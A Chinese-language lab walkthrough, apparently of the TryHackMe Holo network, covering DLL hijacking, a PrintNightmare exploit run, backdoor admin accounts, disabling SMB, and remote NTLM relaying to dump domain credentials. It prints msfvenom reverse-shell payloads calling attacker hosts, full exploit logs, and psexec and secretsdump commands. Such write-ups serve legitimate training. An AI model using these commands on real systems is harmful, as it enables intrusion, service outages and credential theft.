DLL 劫持也可用于持久性,我们将在下一个任务中看到。此过程比上一个过程容易得多,因为我们可以使用 ProcMon 和 ProcessHacker2 等进程监控工具来监控可以接管的 DLL 及其位置。DLL 持久性的工作原理是每次系统重新启动或我们的连接中断时,与应用程序一起运行 DLL。这可以是我们放入系统的应用程序,也可以是我们利用的现有应用程序。

执行 DLL 劫持的步骤概述如下。

  1. 识别易受攻击的应用程序和位置
  2. 识别应用程序 PID
  3. 识别可被劫持的易受攻击的 DLL
  4. 使用 MSFVenom 或其他有效负载创建工具创建恶意 DLL
  5. 用恶意 DLL 替换原始 DLL
  6. 获利

要开始使用 DLL 劫持提升权限,我们需要识别可以定位的应用程序和计划任务;这在前两个任务中已介绍。一旦我们确定了目标,我们就可以利用 Google 的强大功能搜索与应用程序相关的潜在易受攻击的 DLL,因为我们无法使用 ProcMon 等工具来简化此过程。

通过谷歌搜索“ DLL Hijacking”,我们可以看到几篇文章和博客文章,它们可以引导我们朝着正确的方向研究应用程序。

如果没有关于该应用程序的任何研究,比如专有应用程序。您可以尝试从服务器下载该应用程序,或者在互联网上找到相同的副本进行下载,这样您就可以在本地计算机上搜索易受攻击的 DLL。如果您决定采用这种方法,请跳至下一个任务并完成 ProcMon 的步骤,然后返回此任务并利用易受攻击的 DLL。


一旦确定了目标 DLL,您就可以决定在 Metasploit 或 Covenant 中创建恶意 DLL,甚至可以从头开始创建一个。根据您登陆的端点以及现有的检测/防病毒措施,将决定您如何创建恶意 DLL。

我们将要研究的第一种方法是使用 MSFVenom 生成 Metasploit DLL。找到下面使用的命令。

使用的命令:sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=53 -f dll -o not_malicious.dll

我们将要研究的第二种方法是使用 Covenant InstallUtil 启动器生成我们可以下载的 DLL。要生成 DLL,请导航至 Launchers > InstallUtil > Download

img

对于所使用的这两种方法,您现在都需要重命名恶意 DLL,然后将其传输到正确路径的目标计算机。您可以使用 python HTTP 服务器、Updog 或 Covenant Host 函数来执行此操作。

最后,执行易受攻击的应用程序或等待计划任务触发并观察您的侦听器是否有传入连接。

机器上并没有任务,只好使用PrintNightmare,发现是存在打印机服务的

┌──(mikannse㉿kali)-[~/桌面/tools/CVE-2021-1675]
└─$ rpcdump.py @10.200.107.35 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

创建一个恶意dll文件

┌──(mikannse㉿kali)-[~/桌面]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.50.103.92 LPORT=4444 -f dll -o /tmp/smb/s.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /tmp/smb/s.dll

启动msf

┌──(mikannse㉿kali)-[~/桌面]
└─$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.50.103.92:4444

本地开一个smb共享

┌──(mikannse㉿kali)-[/tmp]
└─$ smbserver.py share /tmp/smb/ -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

使用: https://github.com/tryhackme/CVE-2021-1675.git

┌──(mikannse㉿kali)-[~/桌面/tools/CVE-2021-1675]
└─$ python CVE-2021-1675.py 'holo.live/watamet:Nothingtoworry!@10.200.107.35' '\\10.50.103.92\share\s.dll'
[*] Connecting to ncacn_np:10.200.107.35[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.50.103.92\share\s.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...

运行完之后得到了一个meterpreter shell,并且是system身份,加入一个后门的管理员用户

C:\Windows\system32>net user admim admim123! /add
net user admim admim123! /add
The command completed successfully.


C:\Windows\system32>net localgroup administrators admim /add
net localgroup administrators admim /add
The command completed successfully.

WERE TAKING OVER THIS DLL! Part: II

现在我们拥有管理员权限或将应用程序移至本地开发机器,我们可以使用 ProcMon 或 Processhacker2 搜索其他易受攻击的 DLL 位置。我们可以通过查找目标应用程序的进程和 PID 来识别易受攻击的 DLL,然后使用过滤器或模块搜索满足特定要求的 DLL。要易受攻击,DLL 必须满足以下要求。

  • 由目标应用程序定义
  • 以 .DLL 结尾
  • 必须由目标应用程序运行
  • 系统中不存在 DLL
  • DLL 位置的写入权限

在此任务中,我们将专注于使用 ProcMon 识别 DLL,它是 Sysinternals 套件 https://docs.microsoft.com/en-us/sysinternals/downloads/procmon 的一部分。

首先,我们需要以管理员身份打开 ProcMon。ProcMon 将首先列出系统上运行的所有 PID 的所有 DLL 和进程的详尽列表。为了帮助我们,我们可以对此输出应用过滤器来识别信息。

img

要打开过滤器,请导航至 过滤器 > 过滤器

您需要根据进程名称进行过滤,因此将过滤器更改为:“进程名称、包含、易受攻击的应用程序名称”,然后导航至添加并将过滤器添加到 ProcMon。

img

如果你查看进程列表,你会发现只有来自存在漏洞的应用程序的进程。

img

现在我们已经将搜索范围缩小到应用程序,我们可以再次过滤它以仅显示 .DLL 文件。

您将根据路径名进行过滤,因此将过滤器更改为:“Path, ends with, .dll”,然后导航到添加并将过滤器添加到 ProcMon。

img

现在我们再次优化了搜索,我们可以查看易受攻击的应用程序运行的 DLL 的输出。

img

在寻找目标 DLL 时,我们希望在可以写入的路径中寻找 DLL。我们还希望确保 DLL 在当前状态下不存在于系统中;这将显示为“NAME NOT FOUND”。这意味着应用程序尝试加载它但无法加载,因为它不存在于系统中。然后我们可以劫持并使用它来运行我们的恶意代码。

由于我们正在寻找具有可以访问的路径的文件,我们可能希望再次过滤为桌面、下载、文档等。这将使我们能够进一步优化对可以写入的 DLL 的搜索。再次过滤的首选方式是根据“NAME NOT FOUND”过滤结果。

您将根据结果进行过滤,因此将过滤器更改为:结果、包含、“NAME NOT FOUND”,然后导航到添加并将过滤器添加到 ProcMon。

img

如果我们查看 ProcMon 中的进程列表,我们将看到可以利用的 DLL 列表。

img

我们现在可以使用我们之前创建的恶意 DLL 来控制 DLL,并通过关闭已经运行的应用程序和进程在设备上设置静默持久性。

Never trust the LanMan

您现在拥有 PC-FILESRV01 的管理员访问权限;您知道您处于域内容中。您的研究团队开发了一种全新的前所未见的漏洞,用于中继请求和转储域凭据。我们将在以下四个任务中介绍这一新漏洞,并将其武器化以获取域管理员访问权限并通过中继拥有域。

要开始此攻击,我们将确定 NTLM 是什么以及它是如何集成到 Windows 中的。

Net-NTLMv1 是一种使用 NTHash 的质询/响应协议。此版本将同时使用 NT 和 LM 哈希。您可以在下面找到用于哈希的算法。

C = 8-byte server challenge, random K1 | K2 | K3 = LM/NT-hash | 5-bytes-0 response = DES(K1,C) | DES(K2,C) | DES(K3,C)

Net-NTLMv2 是 Net-NTLMv1 的更新版本。此哈希协议将使用与 v1 相同的流程,但将使用不同的算法和响应。此版本自 Windows 2000 以来一直是默认版本。

SC = 8-byte server challenge, random CC = 8-byte client challenge, random CC* = (X, time, CC2, domain name) v2-Hash = HMAC-MD5(NT-Hash, user name, domain name) LMv2 = HMAC-MD5(v2-Hash, SC, CC) NTv2 = HMAC-MD5(v2-Hash, SC, CC*) response = LMv2 | CC | NTv2 | CC*

现在我们了解了什么是 NTLM 哈希以及它是如何进行哈希处理的,我们可以看看它是如何响应和请求的,以及为什么它只能被中继而不能重放。

我们只能中继哈希的原因是它使用基于质询的请求。客户端将尝试向服务器进行身份验证;服务器将批准或拒绝初始身份验证,然后继续向客户端发送质询字符串,以使用客户端的 NTLM 哈希进行加密(质询请求)。如果客户端可以正确加密字符串,则允许客户端向服务器进行身份验证;如果不能,身份验证将失败(质询响应)。我们可以在下面分解技术过程。

1.(仅限交互式身份验证)用户访问客户端计算机并提供域名、用户名和密码。客户端计算密码的加密*哈希*并丢弃实际密码。

  1. 客户端将用户名发送到服务器(以 纯文本 的形式)。
  2. 服务器生成一个 16 字节的随机数,称为 质询 或 *nonce*,并将其发送到客户端。
  3. 客户端使用用户密码的哈希值加密此质询,并将结果返回给服务器。这称为 响应
  4. 服务器将以下三项发送到域控制器:
  • 用户名
  • 发送给客户端的质询。
  • 从客户端收到的响应。
  1. 域控制器使用用户名从安全帐户管理器数据库中检索用户密码的哈希值。它使用此密码哈希值加密质询。
  2. 域控制器将其计算出的加密质询(在步骤 6 中)与客户端计算出的响应(在步骤 4 中)进行比较。如果它们相同,则身份验证成功。

来源:https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm?redirectedfrom=MSDN

现在我们了解了 Net-NTLMv1 和 Net-NTLMv2 以及如何将它们用于身份验证,我们可以继续利用 Net-NTLM。

Now you see me, now you don’t

如果服务器发出 SMB 连接,您可以滥用 NTLM 中继从这些 SMB 连接中获得立足点。这是 NTLM 中继如何工作以及如何创建 Net-NTLM 会话的示例。要利用网络,我们需要根据研究调整攻击。

要开始中继哈希,我们首先需要了解哈希通常如何被滥用。我们将演示两个通常使用的工具:Responder,https://github.com/lgandx/Responder 和 NTLMRelayX,https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py

我们将要研究的第一个工具是 Responder。来自 Responder GitHub,“Responder 是一个 LLMNR、NBT-NS 和 MDNS 毒化器,内置 HTTP/SMB/MSSQL/FTP/LDAP 恶意身份验证服务器,支持 NTLMv1/NTLMv2/LMv2、扩展安全 NTLMSSP 和基本 HTTP 身份验证。”我们可以在我们的环境中使用 Responder 来毒化 LLMNR、Netbios 和 DNS,然后捕获来自服务器的响应。

要开始毒化请求,我们需要在 Responder 配置中关闭 SMB,因为 NTLMRelayX 将处理 SMB。在下面找到一个使用的示例命令。

使用的命令:sudo sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf

您还可以手动编辑配置文件并关闭 SMB。

现在 SMB 已关闭,我们可以开始通过我们的网络接口对响应程序进行毒化。在下面找到启动 Responder 的语法。

语法:sudo python Responder.py -I <Interface>

Responder 现在正在通过网络毒害请求,我们可以开始中继它们。

注意:尝试远程 NTLMRelay 时无需使用 Responder。Responder 应该用于毒害本地网络,而不是远程网络。使用 Responder 不是完成 Holo 的必要条件。


我们将要研究的第二个工具是 NTLMRelayX,它是 Impacket 套件的一部分。从 Impacket GitHub 上看,“该模块执行最初由 cDc 发现的 SMB 中继攻击,并扩展到许多目标协议(SMB、MSSQL、LDAP 等)。它接收目标列表,对于收到的每个连接,它将选择下一个目标并尝试中继凭据。此外,如果指定,它将首先尝试针对连接到我们的客户端进行身份验证。”

我们可以针对指定的协议使用它来中继入站会话。在下面找到启动 NTLMRelayX 的语法。

语法:ntlmrelayx.py -t ldap://<IP> -smb2support --escalate-user <user>

这是创建 Net-NTLM 会话的示例。当收到有效的 SMB 会话时,NTLMRelayX 将充当代理并发送挑战以利用目标系统。

现在我们了解了 NTLM 中继的工作原理以及 Net-NTLM 会话的创建方式,我们可以继续进行远程 NTLM 中继。

Why not just turn it off?

正如之前提到的,我们可以使用新研究的攻击来利用 NTLM 会话。此攻击通过强制服务器停止 SMB 流量并重新启动服务器以将所有流量发送给攻击者来工作。然后攻击者可以将会话中继到他们想要的地方。此漏洞背后的研究归功于 Holo 的创建者之一 SpookySec。原始博客文章在此处找到,https://blog.spookysec.net/remote-ntlm-relaying/。

远程 NTLM 中继不是一种被广泛讨论或流行的攻击媒介,在此研究之前的唯一参考是此博客,https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/。

此攻击媒介未被广泛使用的原因是它非常具有破坏性。如果服务器繁忙,您会无意中创建 SMB DoS 并导致服务器停机。在实际交战中,这是一个巨大的问题。此攻击可在客户端明确授权的情况下使用,并有助于不断发展的漏洞利用和红队研究。如任务 8 中所述,在现实世界中,可以使用白卡代替此漏洞利用。

要开始制作此漏洞利用,我们需要安装中继使用的非标准 Kerberos 专用的多个软件包。找到下面的软件包。

  • krb5-user
  • cifs-utils

可以使用以下命令使用 apt 安装这些软件包。

命令:apt install krb5-user cifs-utils

要开始为漏洞利用配置服务器,我们需要开始关闭 SMB 服务并重新启动服务器。找到下面所采取步骤的概述。

首先禁用 NetLogon。找到下面使用的命令。

使用的命令:sc stop netlogon

接下来,我们需要禁用并停止 SMB 服务器在启动时启动。我们可以通过禁用 LanManServer 并修改配置来做到这一点。找到下面使用的命令。

使用的命令:sc stop lanmanserversc config lanmanserver start= disabled

要完全停止 SMB,我们还需要禁用 LanManServer 并修改其配置。找到下面使用的命令。

使用的命令:sc stop lanmanworkstationsc config lanmanworkstation start= disabled

所采取的步骤可能看起来非常混乱和复杂,因为 Windows 不想完全停止 SMB 服务。

我们现在可以重新启动机器;重新启动设备而不是关闭设备至关重要。给服务器几分钟时间重新启动;再次扫描服务器并确保它返回为关闭状态。


RDP 重新进入机器;停止 NetLogon 可能会导致某些 RDP 客户端出现问题,因此建议使用 rdesktop。

在攻击的这个阶段,我们建议使用 Metasploit,因为它提供了增强的代理功能和流量路由。使用 Metasploit 创建基本负载并在服务器上执行。请参阅下面的示例用法。

示例用法:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=1337 -f exe > shell.exe

现在我们已经停止了 SMB 服务并且可以控制流量的路由方式,我们可以开始利用。首先,我们需要启动 NTLMRelayX,指定要利用的域控制器和协议,在本例中为 SMB。请参阅下面的 NTLMRelayX 语法。

语法:ntlmrelayx.py -t smb://<DC> -smb2support -socks

我们现在已设置中继客户端,以通过 SOCKs 代理路由会话。

我们现在可以使用 Metasploit 端口转发强制连接。下面是示例命令。

示例命令:portfwd add -R -L 0.0.0.0 -l 445 -p 445

等待大约 1-3 分钟后,您应该会看到一个新的入站 SMB 连接。现在我们已经打开了 SOCKs 隧道,我们可以使用代理链将此会话与几个攻击工具一起使用,如下一个任务中所示。

此时,我们应该有一个成功的中继,我们可以继续在下一个任务中将中继武器化。


故障排除 -

问题:

- 您没有收到来自 NTLMRelayX 的任何入站 SMB 连接。

解决方案 1

- 确保您在创建端口转发之前开始运行 NTLMRelayX。如果没有,请重新启动机器。

解决方案 2

- 确保您使用 -smb2support 标志运行 NTLMRelayX。

问题

- 我正在接收入站 SMB 连接,但域控制器之间的会话无法建立。

解决方案 1

- 确保您的攻击设备和域控制器之间存在连接。您可以使用 smbclient -L /// 对此进行测试。我们建议在此部分使用 SSHuttle 而不是 Chisel,因为您需要使用 Chisel 处理多个 ProxyChains 配置文件。 SSHuttle 通过自动调整设备路由表,使整个过程更加简单。

解决方案 2

- 确认这不是 NTLMRelayX 版本的问题。我们收到用户报告,称其特定版本的 NTLMRelayX 无法正常工作。我们已确认 0.9.22 版 可以正常工作,没有任何问题。

在刚得到的PC-file主机上关闭SMB服务

C:\Windows\system32>net localgroup administrators admim /add
net localgroup administrators admim /add
The command completed successfully.


C:\Windows\system32>sc stop netlogon
sc stop netlogon

SERVICE_NAME: netlogon
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0xea60

C:\Windows\system32>sc stop lanmanserver
sc stop lanmanserver

SERVICE_NAME: lanmanserver
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x4e20

C:\Windows\system32>sc config lanmanserver start= disabled
sc config lanmanserver start= disabled
[SC] ChangeServiceConfig SUCCESS

C:\Windows\system32>sc stop lanmanworkstation
sc stop lanmanworkstation
[SC] ControlService FAILED 1051:

A stop control has been sent to a service that other running services are dependent on.


C:\Windows\system32>sc config lanmanworkstation start= disabled
sc config lanmanworkstation start= disabled
[SC] ChangeServiceConfig SUCCESS

Ready your weapons

我们现在有一个来自 S-SRV02 的工作中继。我们现在可以利用此中继来尝试进一步访问域并使用捕获的会话转储 DC-SRV01 上的凭据。

要开始使用该会话,我们需要配置代理设置以通过 NTLMRelayX 创建的 SOCKs 会话建立隧道。将以下行添加到您的代理链配置中:

socks4 127.0.0.1 1080

首先,我们将使用 psexec,https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py。这是我们在远程 NetNTLMRelay 中使用的第一个工具;这将使我们能够在目标系统上的非交互式 shell 中执行一次性命令。我们可以使用它在域上添加新用户帐户,也可以授予他们在域控制器上的本地管理员访问权限。这将使我们能够进入下一部分,使我们能够转储域上的所有凭据。或者,您可以将此用户添加到域管理员组并继续而不转储凭据。

获得 RCE 的语法:proxychains psexec.py -no-pass HOLOLIVE/SRV-ADMIN@10.200.x.30

添加新用户的语法:net user MyNewUser Password123! /add

将用户添加到本地管理员组的语法:net localgroup Administrators /add MyNewUser

注意:如果您在使用 PSExec 时遇到问题,请尝试使用 SMBExec。

我们正在研究的第二个工具是 secretsdump,https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py。此工具也是 Impacket 套件的一部分,并尝试从远程攻击者那里转储域哈希和其他身份验证信息。来自 secretsdump GitHub,“执行各种技术从远程计算机转储哈希,而无需在那里执行任何代理。对于 SAM 和 LSA Secrets(包括缓存的凭据),我们尝试从注册表中读取尽可能多的信息,然后将配置单元保存在目标系统(%SYSTEMROOT%\Temp dir)中,并从那里读取其余数据。”

我们可以使用捕获的会话自动向 secretsdump 进行身份验证,并从域控制器转储机器帐户凭据。在下面找到 secretsdump 的语法。

语法:secretsdump.py 'HOLOLIVE/MyNewUser:Password123!@10.200.x.30'

我们应该已经转储了整个域的凭据,此时我们基本上拥有了该域。我们现在可以继续进行渗透并清理我们的目标和目的。